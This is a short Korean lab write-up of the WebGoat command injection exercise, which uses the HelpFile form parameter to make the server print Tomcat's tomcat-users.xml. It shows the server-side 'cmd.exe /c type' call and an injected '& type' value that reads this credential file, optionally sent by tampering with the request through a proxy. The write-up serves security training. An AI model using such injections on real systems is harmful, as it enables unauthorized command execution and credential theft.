Command Injection은 취약한 애플리케이션을 통해 호스트 운영 체제에서 임의 명령을 실행하는 공격이다. 시스템의 권한을 탈취하여 원격으로 제어할 수 있다.
문제: C:\FullstackLAB\tools\apache-tomcat-7.0.109\conf\tomcat-users.xml 파일 내용이 출력되도록 하시오.
개발자도구로 View 버튼을 누르면 어떤식으로 페이지가 동작하는지 확인
서버로 전달 되는 내용
attackScreen=6&menu=1100&HelpFile=AccessControlMatrix.help&SUBMIT=View
<form accept-charset="UNKNOWN" method="POST" name="form"
action="attack?Screen=82&menu=1100" enctype="">
You are currently viewing:
<b>AccessControlMatrix.help</b>
<p>Select the lesson plan to view:
<select name="HelpFile">
<option>AccessControlMatrix.help</option>
.
.
.
<option>PasswordStrength.help</option>
</select>
<input name="SUBMIT" type="SUBMIT" value="View"><br><br></p><hr width="90%">
ExecResults for 'cmd.exe /c type "C:\FullstackLAB\workspace\생략\
WebGoat\lesson_plans\English\
AccessControlMatrix.html"'
<br>Output...<br>
.
.
.
input 태그를 보면 해당 프로그램은 운영체제 명령어를 사용하여 데이터를 조회 중
하지만 애플리케이션은 외부의 값을 검증하지 않기 때문에 추가적으로 공격자가 원하는 명령이 가능
cmd.exe /c type "C:\FullstackLAB\workspace\생략\
WebGoat\lesson_plans\English\
AccessControlMatrix.html" & type //임의에 명령어
C:\FullstackLAB\tools\apache-tomcat-7.0.109\conf\tomcat-users.xml
혹은 프록시 서버를 이용하여 데이터를 중간에서 인터셉트하여 원하는 명령어로 위조하는 방법이 있다.
데이터 변조 후 전달
공격자가 원하는 데이터에 접근 성공